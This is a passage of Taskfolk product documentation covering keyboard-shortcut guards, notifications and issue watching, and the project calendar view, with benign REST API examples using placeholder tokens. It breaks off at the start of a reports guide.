DOMPurify), not a rich WYSIWYG surface. You are writing markdown, and these shortcuts insert markdown syntax around your selection. And because it is a real editor field, this is exactly where the sidebar's `Cmd/Ctrl+B` steps aside and lets bold win. That is the guarded handler from the last section doing its job. ## Where shortcuts do not fire, and why that is deliberate Let me state the guardrails plainly, because once you know them you will never mistake correct behavior for a bug. The single-key shortcuts (`?`, `/`, `c`, the g-chords, and `a`/`s`/`p`/`l`/`m`) will not fire in three situations: 1. **While you are typing in a field.** If focus is in an input, textarea, select, or any contenteditable element, single keys are ignored. This is the whole reason `c` does not create an issue when you type the letter c in a comment, and why `/` does not steal your slash mid-sentence. The shortcuts stay out of your way while you write. 2. **While a modifier is held.** If Cmd, Ctrl, or Alt is down, the single-key handlers stand down. So `Cmd+K` reaches the palette and is never misread as a bare `k`. 3. **While a modal dialog is open.** When a dialog is up, the single keys hold off so they do not interfere with it. Every key press runs the same checks in the same order before anything happens: ```mermaid flowchart TD K[Key pressed] --> M{Modifier held?} M -- yes --> X[Ignored] M -- no --> T{Typing in a field?} T -- yes --> X T -- no --> D{Dialog open?} D -- yes --> X D -- no --> F[Shortcut fires] ``` None of that is accidental. It is the design that makes single-key shortcuts safe to have at all. Without those guards, every letter you typed would risk triggering something across the app. The typing check is small enough to quote in full: ```typescript function isTypingTarget(el: EventTarget | null): boolean { const t = el as HTMLElement | null; if (!t || !t.tagName) return false; return ( t.tagName === "INPUT" || t.tagName === "TEXTAREA" || t.tagName === "SELECT" || t.isContentEditable === true ); } ``` Two more boundaries worth naming. Shortcuts are workspace-scoped: the overlay, palette, search, quick create, and every key handler are mounted in the workspace topbar, so they simply do not exist on public, marketing, or login pages. And there is no remapping. No way to rebind a key, no preference to disable shortcuts, no Vim mode. Fixed in code, identical for everyone. If you were hoping to remap keys to your own layout, that is the real gap, and I would rather you hear it here than go digging through settings for a screen that does not exist. The tradeoff is consistency. Because nobody can change them, the keys you learn here are the keys on every Taskfolk workspace you will ever open. ## A practical order to learn them Trying to cram all of these at once is how you end up remembering none of them. Here is a sequence that sticks, because each stage pays off before you add the next. **Week one: `?`, `Cmd/Ctrl+K`, and `c`.** Learn `?` first so you always have the map. Then the command palette, because it replaces the most mouse trips of any single key: navigation and search folded into one keystroke. Then `c`, so capturing the next issue costs nothing. These three alone change how the day feels. **Week two: `/` and the g-chords.** Once you are living inside a specific project, add `/` for quick find-by-title-or-key, and `g b` / `g k` / `g l` to move between that project's Board, Backlog, and List. The chords only work inside a project route, so week two, when you are spending real time in one project, is exactly when they click. (Pair them with [how to filter and sort issues](/docs/how-to-filter-and-sort-issues) so your List and Backlog show only what you care about.) **After that, the `a`/`s`/`p`/`l`/`m` pickers**, for when you are deep in an issue editing fields all day. Save the editor keys (`Cmd/Ctrl+B`/`I`/`K` and the autocomplete arrows) for last. They only matter while you are writing, and the toolbar hints teach them to you as you go. The goal is not to know every key by Friday. It is to replace one mouse reflex at a time until reaching for the pointer feels like the slow path, because by then it will be. Open Taskfolk, press `?`, and pick one to drill today. --- # Notifications and watching issues URL: https://taskfolk.ai/docs/notifications-and-watching-issues Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: Taskfolk, project management, how-to Set up Taskfolk notifications and watch issues: the four events that notify you, who gets pinged, inbox triage, snooze and archive, and email vs in-app. You got pulled into the WEB project three weeks ago. You fixed your part, moved on, went heads-down on something else. Now someone is asking why you never responded to a status change on "Timeline + Summary tab," and you have no idea what they mean, because you never saw it. That gap is exactly what project management notifications and watching are built to close. Work moves in tickets you are not staring at. You need a dependable signal for the handful of events that concern you, and a way to keep the other ninety-nine out of your face. Taskfolk splits this into two halves that work together. There is the Notifications inbox, which collects every signal meant for you in one place. And there is watching, which decides which issues generate those signals to begin with. Learn both and you stop finding out about your own work too late. One honest thing up front, because it changes how you should use the whole system: the inbox is a pull system, not a live push feed for humans. The bell badge refreshes when you navigate, not the instant something happens. So this is a place you check, like email. Not a firehose that interrupts you. That framing matters, and it comes back more than once below. ## Why project management notifications and watching matter The demo project throughout this guide is WEB, with the standard columns Backlog, To Do, In Progress, In Review, and Done. Picture a ticket called "Timeline + Summary tab" sitting in In Progress. Someone finishes their part and drags it to In Review. That single move is the kind of event that should reach the people who care about it and stay invisible to everyone else. Get that split right and the rest falls into place. ![The WEB project kanban board with Backlog, To Do, In Progress, In Review, and Done columns. Dragging a card between these columns is the status_changed event that fans out to the people connected to that issue.](/images/blog/how-to-use-a-kanban-board-overview.webp) Here is the mental model. The Notifications inbox is the destination. It is where assignments, mentions, comment replies, and status changes land for you. Watching is one of the ways an issue decides to send you those signals. Some issues send you signals automatically because of your relationship to them: you are the reporter, or you are the assignee. Others only reach you if you opt in by watching. Knowing which is which is what separates "I am on top of my work" from "why is my inbox screaming about tickets I do not own." Set expectations honestly. Taskfolk's notifications are deliberately narrow. Four issue events notify you, not forty. No notification for every field edit, no ping when a label changes. That restraint is the point. It means when something does land in your inbox, it is worth reading. If you came from a tool that notified you about everything and trained you to ignore all of it, this is the opposite bet. ## Where notifications live: the bell badge and the inbox Look at the top bar of any workspace. There is a bell icon, and when you have unread notifications a small pink badge sits on it with the count. It caps at "99+" so a wildly overdue inbox does not stretch the layout, and the whole thing links straight to your inbox. If a number is sitting there, you have unseen signals waiting. Clicking the bell takes you to the inbox at `/w//me/notifications`, which lives inside the workspace shell. If you ever land on the bare `/me/notifications`, that is a redirect that drops you into your most-recent workspace so the inbox renders with the sidebar and everything around it. Bookmark the workspace-scoped URL if you bookmark anything. ![The Taskfolk Notifications inbox inside the workspace shell, showing the Notifications heading with an unread summary line, the filter chip strip (All, Unread, Assigned to me, Mentions, Replies, Status changes, Snoozed) with counts, day-bucket grouping, and notification rows with actor avatar, kind icon, verb, and issue KEY-NUM. This is the screen you check to see what needs you.](/images/blog/notifications-and-watching-issues-inbox.webp) The page opens with a plain "Notifications." heading and a one-line summary underneath. When you have unread items it reads something like "3 unread notifications." When you have cleared everything it switches to "You are all caught up." Below that sits the list. If your inbox is genuinely empty you see "Inbox zero." If a filter you picked has nothing in it, you see "Nothing to show." (or "Nothing snoozed." under the Snoozed view). Remember the pull-not-push point here. The badge is server-rendered, meaning the count you see was computed when the page loaded. It refreshes when you navigate around the app or the route revalidates, not the second a teammate acts. Do not sit staring at the bell waiting for it to tick up. Check it when you move between screens, the same rhythm you would use for email. ## The four issue events that actually notify you This is the part worth memorizing, because it is where most tools quietly mislead you and Taskfolk does not. Exactly four issue-anchored events generate a notification: - **assigned** ("assigned you to") when someone puts your name on an issue as assignee. - **mentioned** ("mentioned you on") when someone writes `@you` in a comment. - **comment_reply** ("replied to your comment on") when someone replies to a comment you wrote. - **status_changed** ("changed the status of") when an issue you are connected to moves columns. That is the complete list for issues. There is no "label changed" notification. No "due date changed," no "priority changed," no "attachment added." Status change is the only field-change signal in the whole system. If someone bumps "Timeline + Summary tab" from Low to High priority, nobody gets pinged. If they move it from In Progress to In Review, the right people do. Know that boundary and you will never wait for a notification that was never coming. A few honest mechanics inside those four. Self-actions never notify you. If you are the one who moved the ticket or wrote the comment, you are excluded from your own signal, because you already know. Mentions are de-duplicated, so a single comment that mentions you does not fire twice. And if you already got the mention email for a comment, Taskfolk pulls you out of the comment_reply fan-out for that same comment so you are not double-notified about one event. The inbox is not only issues, either. The same list carries non-issue notifications: someone accepting your workspace invite ("accepted your invite"), an import finishing ("finished an import in"), and team chat activity (chat mentions, thread replies, direct messages). If you work with agents, agent sessions that need your input or have finished land here too. One inbox, several sources, all in the same day-bucketed stream. Concretely: when a teammate drags "Timeline + Summary tab" to In Review, Taskfolk fires a status_changed notification to everyone connected to that issue (who, exactly, comes in a moment) and skips the person who did the dragging. That is the event doing its job. ## Triage your inbox: read, archive, snooze An inbox is only useful if you can clear it. Hover over any notification row, or focus it with the keyboard, and a small set of actions appears on the right. There are three: - **Mark as read** (the check icon) marks that one item read and leaves it in the list, greyed from its unread highlight. - **Archive** files the item away and marks it read at the same time, so it is the one-tap "I have handled this, get it out of here" move. - **Snooze until tomorrow** pulls the item out of your main inbox and reschedules it to reappear the next morning at 9:00am. Snoozed items do not vanish; they move under the Snoozed filter, and you can bring one back early with **Unsnooze**. Every row moves through the same small set of states: ```mermaid stateDiagram-v2 [*] --> Unread Unread --> Read: mark as read or open Unread --> Archived: archive Unread --> Snoozed: snooze until tomorrow Snoozed --> Unread: 9am next morning or unsnooze Read --> Archived: archive ``` Be aware of the one real limit here. "Snooze until tomorrow" is the only snooze option in the UI. There is no custom picker for "snooze three days" or "snooze until Monday." Under the hood the system will accept snooze targets up to 30 days out and refuses dates in the past, but the button only offers you tomorrow. So snooze is a "not today, deal with it in the morning" tool, nothing more granular. Clicking the row itself (the body, not the actions) jumps you straight to whatever it references: the issue by its KEY-NUM like WEB-14, a doc, or a chat message, and it marks that row read on the way. That is usually how you process the ones that need action. Open, do the thing, done. Here is the practitioner call on snooze versus archive. Archive is for "handled, or genuinely do not care." Snooze is for "this is real work I cannot do right now." Do not snooze things you are never going to action; that is just deferring a decision you already made. And do not archive something you actually need to come back to, because archived items leave your working view. When in doubt on a ticket you own, snooze it to tomorrow and let future-you triage with fresh eyes. ## Filter chips, day buckets, and working to inbox zero Above the list is a strip of filter chips, each with a live count so you can see where the volume is: **All**, **Unread**, **Assigned to me**, **Mentions**, **Replies**, **Status changes**, and **Snoozed**. Tap one to narrow the list to just that kind. If Unread reads (12) and Assigned to me reads (3), you already know most of your noise is mentions and status churn, and the three assignments are the part that actually needs you. The list is grouped into day buckets: **Today**, **Yesterday**, **This week**, and **Earlier**. That grouping does quiet work. It lets you tell "this is all from this morning" apart from "this has been rotting since last week," which changes how urgently you treat it. When you have unread items, a **Mark all read** button appears (it only shows when your unread count is above zero). One scoping detail matters: opened inside a workspace, it clears only that workspace's visible unread, not every workspace you belong to. So if you are in three workspaces, "Mark all read" in WEB does not touch the other two. That is usually what you want, but know it so you do not assume a global sweep happened. For history, use **Load older** at the bottom. It pages back through your notifications with keyset pagination, so no rows get skipped or repeated, and **Back to newest** returns you to the top. Page far enough and you hit "You have reached the end of your history." One honest caveat on those chip counts: they use a 90-day recency window. Notifications older than 90 days are not counted in the badges. In practice this never bites you, because a three-month-old unread notification is not something you are acting on, but it is why the numbers reflect recent activity rather than all-time. My routine for a busy inbox: start on **Unread** to see only what you have not looked at, skim top to bottom, and open or archive as you go. Then switch to **Assigned to me** and make sure nothing in there is a surprise, because those are commitments with your name on them. Everything else, mentions and status changes, is context. Useful to see, rarely urgent. Two chips, five minutes, inbox handled. If you are new to creating the work these notifications track, [how to create an issue](/docs/how-to-create-an-issue) covers the other side. ## How to watch an issue for updates Now the second half: deciding which issues talk to you at all. Open an issue, say WEB-1. In the detail header, next to the comment count pill, there is a **Watch** button with an eye icon. ![Notifications and watching issues - watch button](/images/blog/notifications-and-watching-issues-watch-button.webp) Press it. The button flips to **Watching** with a bell icon, the live watcher count next to it ticks up, and a toast confirms: "You will get notified about changes to this task." You are now subscribed. Press it again and it flips back to Watch with the toast "You stopped watching this task." That is the whole control. One button, on and off. What does watching actually buy you? It opts you into the status_changed and comment_reply fan-out for that specific issue, even when you are not the assignee or the reporter. So if "Timeline + Summary tab" is a ticket you do not own but genuinely need to track (maybe it blocks your work, maybe you are the one who will QA it), watching it means every status move and every comment reply reaches your inbox without you having to remember to go check the ticket. You have turned a ticket you would otherwise poll into one that pings you. This is the tool for the handful of issues you care about but are not assigned. Use it deliberately. Watching everything recreates the noise problem you were trying to escape. Watch the three or four tickets that would actually ruin your week if they moved without you, and stop there. ## Who gets notified without pressing Watch Watching is opt-in, but plenty of people get notified about an issue without ever touching that button, because of who they are to the issue. These are the implicit watchers, and they are always subscribed: - **The reporter** (whoever created the issue) always receives status_changed and comment_reply fan-out. - **The current assignee** always receives status_changed and comment_reply fan-out, and separately gets the "assigned you to" notification the moment they are assigned. So if you created WEB-1 or you are the one it is assigned to, you are already covered. You do not need to press Watch. Moving the ticket or replying to comments on it will reach you automatically. There is also a targeted one that reaches you regardless of watching. A **comment_reply** finds you whenever someone replies to a comment you wrote, even on an issue you never watched and do not own. Reply to a thread once and you will hear about the response to that thread. Put together, the fan-out for a status change looks like this: ```mermaid flowchart TD A[Issue moves column] --> B{Are you the one who moved it} B -->|Yes| C[No notification, you already know] B -->|No| D{Reporter, assignee, or watcher} D -->|Yes| E[status_changed lands in your inbox] D -->|No| F[Silence] ``` Now the limits, because this is where people overestimate the system. There is no auto-watch-on-comment. Commenting on an issue does not subscribe you to it. There is no auto-watch-on-mention either. A mention is a single notification, not a standing subscription. Someone `@`-mentions you on "Timeline + Summary tab," you get pinged once, and that is the end of it. The next time the ticket moves, silence, unless you are the reporter, the assignee, or you pressed Watch. The practical takeaway is one sentence. If you commented on an issue and you want to keep hearing about it, press Watch. Do not assume that leaving a comment or catching a mention quietly signed you up, because it did not. This is the single most common wrong assumption people bring in, so make it a habit: chime in, then watch. (If your team lives in [team chat next to your issues](/blog/keep-team-chat-next-to-your-issues), the same one-time-versus-subscription distinction applies to chat mentions.) ## Watching and the inbox over the REST API Everything above has an API twin, which matters once a script or an agent is part of the team. Watching is a self-subscribe: `POST /v1/workspaces/{slug}/projects/{key}/issues/{issueKey}/watchers` subscribes the calling token's own user to that issue. It only needs the `issues:read` scope (subscribing yourself is a read-level grant, not a write on someone else's behalf), and it is idempotent: the first call returns 201, calling it again returns 200 with the same watcher row. To watch WEB-1 in the demo workspace: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-1/watchers" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-1/watchers", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2..." }, } ); const watcher = await res.json(); // 201 first time, 200 if already watching ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-1/watchers", headers={"Authorization": "Bearer tfk_live_a1b2..."}, ) watcher = res.json() # 201 first time, 200 if already watching ``` A `GET` on the same path lists an issue's watchers, and `DELETE .../watchers/{userId}` unsubscribes, with the same self-only rule: the `userId` must be the token's own user, so a key cannot unsubscribe anyone else. The inbox is readable too. `GET /v1/workspaces/{slug}/notifications` (scope `notifications:read`) returns your notifications in this workspace, each row carrying `kind`, `read`, `created_at`, and the issue key and title it points at. And `POST /v1/workspaces/{slug}/notifications/mark-all-read` (scope `notifications:write`) clears your unread in that workspace and returns the `count` of rows it touched. If you are new to keys and scopes, [how to use the REST API](/docs/how-to-use-the-rest-api) covers minting a token. ## Set your notification preferences (email vs in-app) By default the inbox handles in-app, but you also get email for the events that matter, and [you control all of it in one place](/docs/how-to-manage-your-notification-preferences). Go to Profile, then the Notifications section, and find the "Notification preferences" card. Under the heading "Choose how we notify you for each event type." is a two-column matrix: **Email** on one side, **In-app** on the other, with a checkbox for each event type down the rows. ![The notification preferences matrix on the profile page: event types down the rows (Assigned to me, Mentioned me, Replies to my comments, Status changes I follow, Invite accepted, Weekly digest, Chat mentions, Chat thread replies, Direct messages) with Email and In-app checkboxes per row and a Save preferences button.](/images/blog/how-to-manage-your-notification-preferences-prefs-matrix.webp) The rows are: Assigned to me, Mentioned me, Replies to my comments, Status changes I follow, Invite accepted, Weekly digest, Chat mentions, Chat thread replies, and Direct messages. Tick or untick each channel per event, then press **Save preferences**. You get a "Notification preferences saved." confirmation. The defaults are set sensibly, and it is worth knowing them so you tune rather than fight them. Assigned, mentioned, and comment_reply have **email on** by default, because those are the events where someone is directly waiting on you. Status changes have **email off** by default, with in-app left on, because a moving ticket is context, not a summons, and nobody wants an email every time a board shuffles. So if you want status-change emails, you have to turn them on yourself. Do not assume they are arriving. **Weekly digest** is email-only; there is no in-app version, since a digest is inherently a periodic email. It rolls up what happened so you get the shape of the week without living in the inbox. If you would rather that summary write itself, [let AI write your weekly project update](/blog/let-ai-write-your-weekly-project-update) covers the automated version. Two honest notes. Email only actually sends when the instance has SMTP configured and your preference allows it; if email is not set up on your deployment, in-app is what you get regardless of the checkboxes. And these preferences are yours, per person, so setting status-change email off for yourself changes nothing for your teammates. My advice: leave assigned and mentioned on email (those are the "someone needs me" signals worth an interruption), keep status changes in-app only unless you are the kind of person who lives in email, and let the weekly digest carry the rest. Set it once, deliberately, and you will trust every email that arrives because you chose to receive it. ## Limits and mistakes to avoid Let me put every honest limit in one place so nothing surprises you later. **The bell is not real-time for humans.** No live push, no SSE or polling that ticks the badge up the instant something happens. It is server-rendered and refreshes on navigation. Treat it like email you check, not a live feed. Do not build a habit that assumes instant delivery. (Agents have a separate live stream; people do not.) **Only four issue events notify you.** Assigned, mentioned, comment_reply, status_changed. No label, due-date, priority, or attachment notifications. Status change is the only field-change signal. If you need to know the moment a priority flips, you will have to look, not wait. **Status-change emails are off unless you opt in.** In-app is on by default; email is not. Flip it on in preferences if you want it. **Snooze is one-tap-tomorrow only.** No custom durations in the UI. It is a "deal with it in the morning" button, nothing finer. **Chip counts use a 90-day window.** Anything older than three months is not counted in the badges. Fine in practice, worth knowing. **Mark all read is workspace-scoped.** It clears the workspace you are in, not all of them. Multi-workspace people, take note. **Duplicate notifications bump, they do not stack.** If an identical unread notification would fire again, Taskfolk moves the existing one to the top instead of piling up two rows. Your inbox stays clean instead of showing the same thing five times. **References link within the current project only.** A `#KEY-NUM` in a comment auto-links to the current project's slug; cross-project reference rendering is not wired up yet, so do not rely on a reference to a ticket in another project resolving into a link. The mistakes to avoid all come from one root: assuming the system is louder and more automatic than it is. It will not watch issues for you. It will not email you about status unless you asked. It will not ping you about a field edit that is not a status move. So do the two deliberate things it rewards. Set your channels on purpose in preferences, and press Watch on the small set of issues you truly own or depend on. Get those two right and the inbox becomes a signal you trust instead of noise you learned to ignore. The fastest way to feel this working is to open the issues you actually care about and watch them, then spend two minutes setting your notification preferences the way you would want them. If you are still getting your team into the workspace, start with [how to invite team members](/docs/how-to-invite-team-members). --- # Project calendar view URL: https://taskfolk.ai/docs/project-calendar-view Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: views, project planning, Taskfolk Open Taskfolk's Calendar tab to see project due dates on a month or week grid, drag deadlines to reschedule, edit status inline, and filter by assignee. You set a due date on a story, feel briefly organized, and then that date disappears into the ticket. It sits there. Nobody looks at it until the day it goes red and someone asks why it slipped. A list of dates doesn't help much, because a list isn't how anyone actually thinks about time. You think in weeks. You think in "what's due before the demo." That is what the **project management calendar view due dates** workflow is for: it takes every dated issue in a project and plots it on a month or week grid you can read in one glance. By the end of this you'll open the Calendar tab, read issues laid out by their start and due dates, drag a deadline to a new day, edit an issue's status or assignee without leaving the grid, filter down to one person's week, and know exactly where the calendar stops and the timeline begins. Real buttons, real limits, no guessing. ## Why a calendar view for due dates beats a list Here is the real problem. Due dates in most tools live in two bad places. Either a column in a list you sort once and never look at again, or a tiny label on a card you have to open to read. Neither answers the question you actually have, which is "what is landing this week, and is it too much?" You can't feel a workload from a sorted column. You can feel it from a grid where Thursday has six things stacked on it and Friday has nothing. Taskfolk's Calendar tab plots issues by their dates on a month or week grid, and that spatial layout is the entire point. It lives at `/w/[ws]/p/[project]/calendar`. Once you're looking at deadlines as positions in a month instead of rows in a table, planning changes. You spot the pileup before it happens. You drag the overloaded Thursday's work onto the following Monday. You catch the empty weeks that are quietly hiding slipped scope. Set one expectation now, because it matters. The calendar plots issues by their **dates only**. An issue with no start and no due date does not appear on the grid. That isn't a bug, it's the design, and there's a dedicated place for the undated work waiting to be planned: the Unscheduled rail. So the calendar is not "every issue in the project." It's "every issue that has a date," which is exactly the set you want when you're thinking about deadlines. ## Open the calendar and read the month grid The Calendar tab sits in the project's tab strip, right alongside Board, Backlog, and List. Click **Calendar** and, on desktop, you land on the month view by default. ![Taskfolk's month calendar view for the WEB project: weekday header Mon to Sun, day cells holding dated issues as single-day chips and multi-day span bars, today marked with a gold pill, the Week/Month toggle and Today button up top, and the Unscheduled rail on the right. Shows that issues are plotted by their due dates.](/images/blog/project-calendar-view-month-view.webp) Read it left to right. The weekday header runs **Mon** through **Sun**. Below it, each day is a cell, and dated issues sit inside their cells. Today's date wears a gold pill so you never lose your place. The top of the view holds the controls: a segmented **Week** / **Month** toggle, a **Today** button, prev and next arrows, and the month-and-year label in the center (for example, "July 2026"). On the right is the **Unscheduled** rail, which we'll get to. Issues render in two shapes, and the difference is worth understanding, because it's how you read duration at a glance. - A **single-day chip** is an issue that has only a due date, or only a start date. It sits on that one anchor day. When a chip's anchor has to be computed, the due date takes precedence over the start. - A **multi-day span bar** is an issue with a start date and a due date on **different** days. It draws as a bar stretching from the start day across to the due day. The placement rule in one picture: ```mermaid flowchart TD A[Issue in the project] --> B{Has a start or due date?} B -- no --> R[Unscheduled rail] B -- yes --> C{Start and due on different days?} C -- yes --> S[Multi day span bar] C -- no --> D[Single day chip, anchored on the due date, else the start] ``` So in the WEB project, a task like "Timeline + Summary tab" that starts Monday and is due Thursday shows up as a bar spanning those four days. You see its whole window, not just its deadline. A quick bugfix due Friday with no start date is a chip sitting on Friday. The shape tells you whether something is a moment or a stretch. Color carries meaning too. Epics are colored by their type. Everything else is colored by its status category, so you can tell at a glance what's in progress versus what's still waiting. Closed issues (done, cancelled, failed) render dimmed with a strikethrough on the title, so a finished deadline doesn't fight for attention with work that's still live. ## Switch between week and month, and move through time The **Week** / **Month** control is the segmented toggle at the top. The selected view highlights in brand gold, so you always know which one you're in. Month is the default on desktop. Click **Week** to switch. Week view is taller and shows a single week across the full width, which means each day has room for more events before it overflows. The center label changes to an abbreviated range, like "Jun 30 - Jul 6, 2026", so you know exactly which seven days you're looking at, even across a month boundary. | | Week view | Month view | |---|---|---| | Layout | one week, full width | four or five weeks in a grid | | Event lanes per day | up to 12 | up to 5, then "+N more" | | Center label | "Jun 30 - Jul 6, 2026" | "July 2026" | | Reach for it when | you're inside a heavy sprint | you're doing release-level planning | Moving through time works the same in both views. The prev and next chevrons carry real aria labels ("Previous month" / "Next month" in month view, "Previous week" / "Next week" in week view), so keyboard and screen-reader users navigate cleanly. The **Today** button jumps you back to the current month or week whenever you've wandered off into planning next quarter. One more thing worth knowing: on a narrow screen (under 768px), the grid is replaced by a date-grouped agenda list, and the view auto-switches to Week. A month grid on a phone is unreadable, so the calendar doesn't try to draw one. ## Reschedule a due date by dragging This is the action that makes the calendar worth opening. Grab a chip or a span bar and drag it to another day. That reschedules its due date. The change is optimistic, so the chip moves under your cursor and lands immediately; behind the scenes it persists through `updateIssue`. For a multi-day bar, dragging preserves the duration. Move a Monday-to-Thursday bar so it now ends on Friday, and its start shifts to Tuesday automatically. The window keeps its length; only its position moves. Drop a chip or bar on the exact day it already ends on and nothing happens. That's a no-op, so you can't accidentally "reschedule" something to where it already is. Now the honest part, because rescheduling is a permissioned action. You can move an issue only if you're its **reporter**, its **assignee**, or you hold `issue.edit_any`. If you're none of those, the chip is read-only: clicking it navigates to the issue instead of editing, and a drag attempt shows the toast "You can't reschedule this item." That is deliberate. You shouldn't be able to silently move someone else's deadline just because you can see it. Two more ways to move an item, because dragging with a mouse isn't the only path. - **Keyboard:** focus an event chip, press **Space** or **Enter** to pick it up, use the **arrow keys** to move between days, then **Space** or **Enter** again to drop it. That's the dnd-kit keyboard sensor, and it means the whole reschedule flow works without a mouse. - **Touch:** press and hold for 250ms to pick an event up. The delay is intentional, so a normal swipe still scrolls the calendar instead of grabbing a chip by accident. Dragging isn't the only writer of these dates, either. The grid plots whatever is on the issue, so a script or an agent can move the same deadline through the [public API](/docs/how-to-use-the-rest-api) by patching `start_at` and `due_at` (a plain `YYYY-MM-DD` date works): ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"start_at": "2026-07-20", "due_at": "2026-07-23"}' ``` ```javascript await fetch("https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12", { method: "PATCH", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ start_at: "2026-07-20", due_at: "2026-07-23" }), }); ``` Either way, the issue lands on its new cells the next time the calendar loads. ## Schedule undated work from the Unscheduled rail On the right side of the grid is the **Unscheduled** rail. It lists issues that have no start and no due date, the work that exists but isn't planned yet. It shows a live count so you know how much undated work is hanging around, and a hint that reads "Drag to calendar to schedule." To schedule one, drag it out of the rail and drop it onto a day. That gives it a due date, and it becomes a chip on the grid like any other dated issue. This is the natural move after a backlog grooming session. You've just estimated a batch of tickets, and now you drag each one onto the week you intend to tackle it. The undated pile shrinks in real time as you place things. You can collapse the rail with its chevron (aria label "Collapse") when you want more room for the grid. And when every issue in the project is scheduled, the rail hides itself entirely and the grid expands to full width. There's nothing to schedule, so it gets out of the way. A couple of honest limits here. The rail renders up to **50** items (it loads up to 200 server-side). If there is more undated work than that, you'll see a "+N more undated, view all in list" link that takes you to the List view, rather than an endless scroll of draggable rows. The calendar is for scheduling a manageable set, not for triaging a thousand-item backlog by hand. And if the project has no issues at all, you won't see a rail or a grid. You'll get an empty state that reads "No work to schedule yet." with an **Open the board** button, pointing you at where to create the first ticket. ## Edit status, priority, or assignee without leaving the calendar Click a chip, a span bar, or a rail item and an inline-edit popover opens. Its header shows the issue key and title, and below that are three rows: **Status**, **Priority**, and **Assignee**. Change any of them right there. The updates are optimistic, so they apply instantly, and Status uses the project's **custom board statuses** when the project defines them, so the options match your actual board columns (Backlog, To Do, In Progress, In Review, Done) rather than a generic set. The concrete use is standup. Someone says "Timeline + Summary tab is done and I'm handing the follow-up to Sara." You click the chip, bump the status from **In Review** to **Done**, reassign it to Sara, and move on. Two clicks, no context switch, no opening the issue. Be clear about the boundary, though. This popover edits **only** those three fields. It does not edit the due date, the title, or the labels, and it is not a full issue editor. If you need to do more, click the issue **title** in the popover (or press **Enter** or **Space** on a focused chip) and you land on the full issue detail page. **Escape** closes the popover if you opened it by mistake. So the calendar gives you the fast path for the three things you change most often during planning and standup, and a clean door to the full editor for everything else. ## Drill into a busy day and jump to an issue Some days get crowded. A month cell shows up to 5 stacked lanes before it runs out of room; a week cell, being taller, shows up to 12. Past that, the cell shows a **"+N more"** link so the grid stays readable instead of exploding. To see everything on a packed day, click the day number itself or the "+N more" link. That opens the day-detail popover, titled "Items on {date}", listing every issue scheduled that day with its key, title, and assignee avatar. Each row links into its issue. This is how you handle the Thursday where five things are due at once: open the day, read the full list, see who owns what, and decide whether it's genuinely deliverable or whether something needs to slide. From that popover (or from any focused chip), click an event's title or press **Enter** or **Space** to open the full issue detail page. The calendar is the map. The issue page is the destination, and you're never more than a click from getting there. ## Filter the calendar and save a view The calendar shares the board's **Filter** control, sitting on the control row. It gives you facets for **Type**, **Priority**, **Status**, **Label**, and **Assignee**. And because it's the same control the board uses, the **Views** you save and apply (shared or personal) carry across between the two. ![The shared Filter control, shown here on the board: facets for type, priority, status, label, and assignee. The calendar uses the exact same control, so saved views carry across both tabs.](/images/blog/how-to-use-a-kanban-board-filters.webp) In practice this is where the calendar earns its keep as a planning tool. Filter by **Assignee** to one person and you're looking at just their week, which is the fastest way to check whether a teammate is buried before you hand them more. Filter by **Priority** to high and the month collapses to only what's actually urgent, cutting through every minor task with a date on it. Save that as a view (say, "This month's high-priority") and it's one click to get back to it later, on the calendar or the board. Because the Views are shared, a filter your lead sets up is a filter the whole team can apply. ## Calendar vs timeline: pick the right tab This is the part most tutorials skip, and it's the part that saves you from picking the wrong tool. The calendar and the Timeline (Gantt) tab look related but do different jobs, and knowing the line keeps you from hunting for a feature that lives elsewhere. ```mermaid flowchart LR Q{What are you doing?} -- moving deadlines, week to week planning --> C[Calendar tab] Q -- dependencies, bar resizing, quarter zoom --> T[Timeline tab] ``` The calendar's **only** drag action is moving an item to a different day. That's it. It does not draw dependencies between issues, it does not let you resize a bar by dragging its edges, and it does not offer zoom levels like Weeks / Months / Quarters. Those are Timeline features. ![Taskfolk's Timeline tab: a Gantt chart with task bars laid across a zoomable time axis and dependency arrows drawn between issues. This is where dependencies, bar resizing, and quarter-level zoom live, not on the calendar.](/images/blog/gantt-chart-with-dependencies-gantt-overview.webp) If you're trying to model "this can't start until that finishes," or stretch a task's duration by pulling its edge, or zoom out to a quarter-level roadmap, that's the Gantt view, and there's a full walkthrough of it in [building a Gantt chart with dependencies](/docs/gantt-chart-with-dependencies). Two more facts worth carrying with you. First, the date math is all in **UTC**. A due date stored at midnight UTC lands on the same calendar cell for every viewer, no matter their timezone. That's a feature for distributed teams, because everyone sees the same grid, but it means the calendar is not local-time-aware, so don't read a cell as "midnight in my city." Second, the calendar uses windowed lazy-loading. The initial load covers the previous, current, and next month; navigate somewhere new and it fetches that range on demand, showing a brief "Loading…" while it does. The payoff is that even a large project shows every dated issue in whatever window you're viewing, without trying to load the entire project's history at once. So the mental model is simple. Calendar answers "when are things due and can I move them?" Timeline answers "how do these pieces depend on each other over a longer horizon?" Use the calendar for deadlines and week-to-week planning; use the Gantt for dependencies and roadmaps. And the calendar sits inside a wider workflow, so it pairs naturally with [running a kanban board](/docs/how-to-use-a-kanban-board), [prioritizing your backlog](/docs/how-to-prioritize-your-backlog), and [running sprints without the ceremony](/blog/run-sprints-without-the-ceremony). Open a project's Calendar tab, drag one slipping deadline to where it actually belongs, and you'll see why looking at due dates on a grid beats reading them in a list. --- # Project reports and insights URL: https://taskfolk.ai/docs/project-reports-and-insights Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: reports, sprints, agile Read Taskfolk's project reports: Summary KPIs, sprint burndown, cycle time, throughput, workload and workspace Insights, with the honest limits on each. You shipped the sprint. The board looks tidy, every card sits in Done, and then someone asks the 